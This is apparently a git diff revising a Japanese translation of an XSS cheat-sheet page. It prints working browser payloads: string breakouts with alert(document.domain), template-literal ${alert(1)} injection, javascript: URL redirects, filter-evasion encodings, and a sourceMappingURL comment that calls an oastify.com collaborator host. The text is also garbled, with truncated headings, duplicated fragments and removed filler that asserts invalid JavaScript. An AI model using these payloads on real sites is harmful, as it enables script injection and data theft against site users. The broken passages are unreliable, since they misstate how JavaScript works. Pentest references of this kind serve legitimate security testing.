#x
```
-### ブラックリスト回避
+### ブラックリストバイパス
-もしブラックリストが使用されている場合、いくつかの愚かなトリックを使って回避することができます。
+何らかのブラックリストが使用されている場合、いくつかの簡単なトリックでバイパスを試みることができます:
```javascript
//Random capitalization
`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間に**反映**されます。
+これらのケースでは、**入力**が`.js`ファイルのJSコード内や``タグの間、またはJSコードを実行できるHTMLイベントや`javascript:`プロトコルを受け入れる属性の間で**反映される**ことになります。
### \`内に挿入されている場合、簡単に\`内に挿入されている場合、`
```
-注意してください、この例では**シングルクォートを閉じていません**が、それは必要ありません。なぜなら、**ブラウザはまずHTMLパースを実行**してスクリプトのブロックを含むページ要素を識別し、その後にJavaScriptパースを実行して埋め込まれたスクリプトを理解して実行するからです。
+### JSコード内
-### JSコード内部
-
-もし`<>`がサニタイズされている場合でも、入力が**配置されている場所**で文字列を**エスケープ**し、任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されないからです。
+`<>`がサニタイズされている場合でも、入力が**配置されている**文字列から**エスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されません:
```
'-alert(document.domain)-'
';alert(document.domain)//
@@ -567,10 +483,10 @@ Android: %09 %20 %28 %2C %3B
```
### テンプレートリテラル \`\`
-JSでは、シングルクォートやダブルクォート以外にも、**バックティック** **` `` `** を使用して**文字列**を構築することができます。これはテンプレートリテラルとして知られており、`${ ... }` 構文を使用して**埋め込まれたJS式**を実行することができます。\
-したがって、バックティックを使用しているJS文字列内に入力が**反映**されている場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます。
+**文字列**を構築するために、JSはシングルクォートとダブルクォートの他に**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルとして知られており、`${ ... }` 構文を使用して**JS式を埋め込む**ことができます。\
+したがって、入力がバックティックを使用するJS文字列内で**反映されている**ことがわかった場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます:
-これは以下のように悪用されることがあります:
+これは以下を使用して**悪用**できます:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@@ -581,62 +497,20 @@ JSでは、シングルクォートやダブルクォート以外にも、**バ
function loop(){return loop}
loop``````````````
```````````````
-### エンコードされたコードの実行
-
-In some cases, web applications may encode user input before displaying it on the page. This can be done to prevent cross-site scripting (XSS) attacks by converting special characters into their HTML entities. However, if the application does not properly decode the input before executing it, it may still be vulnerable to code execution.
-
-いくつかの場合、Webアプリケーションは、ページに表示する前にユーザーの入力をエンコードすることがあります。これは、特殊文字をHTMLエンティティに変換することで、クロスサイトスクリプティング(XSS)攻撃を防ぐために行われることがあります。しかし、アプリケーションが入力を適切にデコードせずに実行する場合、コードの実行に対して脆弱性が残る可能性があります。
-
-To exploit this vulnerability, an attacker can inject encoded malicious code that will be executed by the application. The code will be decoded by the application, but the resulting payload will still be executed. This can lead to various consequences, such as data leakage, privilege escalation, or even remote code execution.
-
-この脆弱性を悪用するために、攻撃者はエンコードされた悪意のあるコードを注入することができます。コードはアプリケーションによってデコードされますが、その結果のペイロードは依然として実行されます。これにより、データの漏洩、特権のエスカレーション、さらにはリモートコードの実行など、さまざまな結果が生じる可能性があります。
-
-To identify if a web application is vulnerable to encoded code execution, you can try injecting encoded payloads and observe the application's behavior. If the injected code is executed or produces unexpected output, it indicates a potential vulnerability.
-
-エンコードされたコードの実行に対して脆弱性があるかどうかを特定するためには、エンコードされたペイロードを注入してアプリケーションの動作を観察することができます。注入されたコードが実行されるか、予期しない出力が生成される場合、潜在的な脆弱性があることを示しています。
-
-It is important for developers to properly decode user input before executing it to prevent this type of vulnerability. Additionally, web application security testing and code reviews can help identify and mitigate such issues.
-
-この種の脆弱性を防ぐために、開発者はユーザーの入力を適切にデコードしてから実行することが重要です。さらに、Webアプリケーションのセキュリティテストとコードレビューによって、このような問題を特定し、軽減することができます。
+### エンコードされたコード実行
```markup
-JavaScript comments can be used as a trick to bypass input validation and execute malicious code. By inserting JavaScript code within a comment, it can go unnoticed by the server-side validation and be executed by the client's browser. This technique is commonly used in Cross-Site Scripting (XSS) attacks.
-
-
-JavaScriptのコメントは、入力検証をバイパスして悪意のあるコードを実行するためのトリックとして使用することができます。コメント内にJavaScriptコードを挿入することで、サーバーサイドの検証に気づかれずに、クライアントのブラウザで実行されることがあります。このテクニックは、クロスサイトスクリプティング(XSS)攻撃でよく使用されます。
-```
+**JavaScriptコメント(**[**JavaScriptコメント**](./#javascript-comments) **トリックより)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@@ -748,19 +556,7 @@ JavaScriptのコメントは、入力検証をバイパスして悪意のある
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
-**JavaScriptの改行(**[**JavaScriptの改行**](./#javascript-new-lines) **トリックから)**
-
-```javascript
-// English
-var x = "Hello\nWorld";
-var y = "Hello\r\nWorld";
-
-// Japanese
-var x = "こんにちは\n世界";
-var y = "こんにちは\r\n世界";
-```
-
-**HTML new lines (from** [**HTML new line**](./#html-new-lines) **trick)**
+**JavaScriptの改行(**[**JavaScriptの改行**](./#javascript-new-lines) **トリックより)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@@ -768,25 +564,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
-**JavaScriptの空白文字**
-
-JavaScriptでは、空白文字は通常、コードの可読性を向上させるために使用されます。しかし、クロスサイトスクリプティング(XSS)攻撃の文脈では、空白文字は攻撃者にとって非常に有用なツールとなります。
-
-攻撃者は、空白文字を使用してXSSペイロードを隠すことができます。これにより、攻撃者は検出や回避を困難にし、攻撃の成功率を高めることができます。
-
-以下に、いくつかの一般的なJavaScript空白文字の例を示します。
-
-- スペース(` `)
-- タブ(`\t`)
-- 改行(`\n`)
-- キャリッジリターン(`\r`)
-- 垂直タブ(`\v`)
-- フォームフィード(`\f`)
-- ゼロ幅スペース(`\u200B`)
-
-攻撃者は、これらの空白文字を使用して、XSSペイロードをHTMLタグやJavaScriptコードの中に埋め込むことができます。これにより、攻撃者はユーザーのブラウザ上で任意のスクリプトを実行することができます。
-
-XSS攻撃を防ぐためには、入力検証とエスケープ処理を適切に行うことが重要です。また、ユーザーからの入力を信頼せず、常にセキュリティ対策を行うことが必要です。
+**JavaScriptの空白**
```javascript
log=[];
function funct(){}
@@ -803,11 +581,7 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
```
-**コメント内のJavaScript**
-
-Sometimes, developers may forget to properly sanitize user-generated content before displaying it as a comment on a website. This can lead to a Cross-Site Scripting (XSS) vulnerability. By injecting malicious JavaScript code into a comment, an attacker can execute arbitrary code on the victim's browser.
-
-以下のような場合、開発者はウェブサイト上のコメントとして表示する前に、ユーザーが生成したコンテンツを適切にサニタイズするのを忘れることがあります。これにより、クロスサイトスクリプティング(XSS)の脆弱性が発生する可能性があります。攻撃者は、コメントに悪意のあるJavaScriptコードを注入することで、被害者のブラウザ上で任意のコードを実行することができます。
+**コメント内のJavascript**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@@ -815,42 +589,6 @@ Sometimes, developers may forget to properly sanitize user-generated content bef
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**括弧なしのJavaScript**
-
-```html
-When writing JavaScript code, it is common to use parentheses to group expressions and control the order of operations. However, there are situations where you can write JavaScript code without using parentheses.
-
-One such situation is when calling a function with no arguments. In this case, you can omit the parentheses after the function name. For example:
-
-```javascript
-// With parentheses
-console.log("Hello World");
-
-// Without parentheses
-console.log "Hello World";
-```
-
-Another situation where you can omit parentheses is when using the `new` keyword to create an object. Normally, you would write `new Object()` to create a new object, but you can also write `new Object` without the parentheses.
-
-It's important to note that while omitting parentheses can make your code more concise, it can also make it less readable and harder to understand. Therefore, it's generally recommended to use parentheses for clarity and consistency.
-```
-
-```html
-JavaScriptのコードを書く際には、式をグループ化し、演算の順序を制御するために括弧を使用することが一般的です。しかし、括弧を使用せずにJavaScriptのコードを書くこともあります。
-
-そのような状況の一つは、引数のない関数を呼び出す場合です。この場合、関数名の後の括弧を省略することができます。例えば:
-
-```javascript
-// 括弧あり
-console.log("Hello World");
-
-// 括弧なし
-console.log "Hello World";
-```
-
-オブジェクトを作成するために`new`キーワードを使用する場合も、括弧を省略することができます。通常、新しいオブジェクトを作成するためには`new Object()`と書きますが、括弧を省略して`new Object`と書くこともできます。
-
-括弧を省略することでコードが簡潔になる一方で、可読性が低下し理解しにくくなる可能性もあることに注意してください。そのため、一般的には明確さと一貫性のために括弧を使用することが推奨されています。
-```
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
@@ -988,46 +726,48 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
````
-## **DOMの脆弱性**
+## **DOM 脆弱性**
-攻撃者が制御する**安全でないデータ**(例:`location.href`)を使用している**JSコード**があります。攻撃者はこれを悪意のあるJSコードを実行するために悪用することができます。\
-**DOMの脆弱性の説明が長くなったため、[このページに移動しました](dom-xss.md)**:
+攻撃者が制御するデータを安全でない方法で使用している **JS コード** があります。例えば `location.href` です。攻撃者はこれを悪用して任意の JS コードを実行する可能性があります。\
+**DOM 脆弱性の説明が広範囲にわたるため、**[**このページに移動しました**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
-そこでは、DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるかについての詳細な説明が見つかります。\
-また、[**DOM Clobbering攻撃についての説明**](dom-xss.md#dom-clobbering)も、前述の投稿の最後に見つけることができます。
+ここでは、**DOM 脆弱性が何であるか、どのように引き起こされるか、そしてどのように悪用されるか**についての詳細な説明があります。\
+また、**該当する投稿の最後には**、[**DOM Clobbering 攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
-## その他のバイパス方法
+## その他のバイパス
-### 正規化されたUnicode
+### 正規化されたユニコード
-サーバー(またはクライアント側)で**反映された値**が**Unicode正規化**されているかどうかをチェックし、この機能を悪用して保護をバイパスすることができます。[**ここで例を見つけることができます**](../unicode-injection/#xss-cross-site-scripting)。
+サーバー(またはクライアント側)で**反映された値**が**ユニコード正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここで例を見つけてください**](../unicode-injection/#xss-cross-site-scripting)。
-### PHP FILTER\_VALIDATE\_EMAILフラグのバイパス
+### PHP FILTER\_VALIDATE\_EMAIL フラグのバイパス
```javascript
">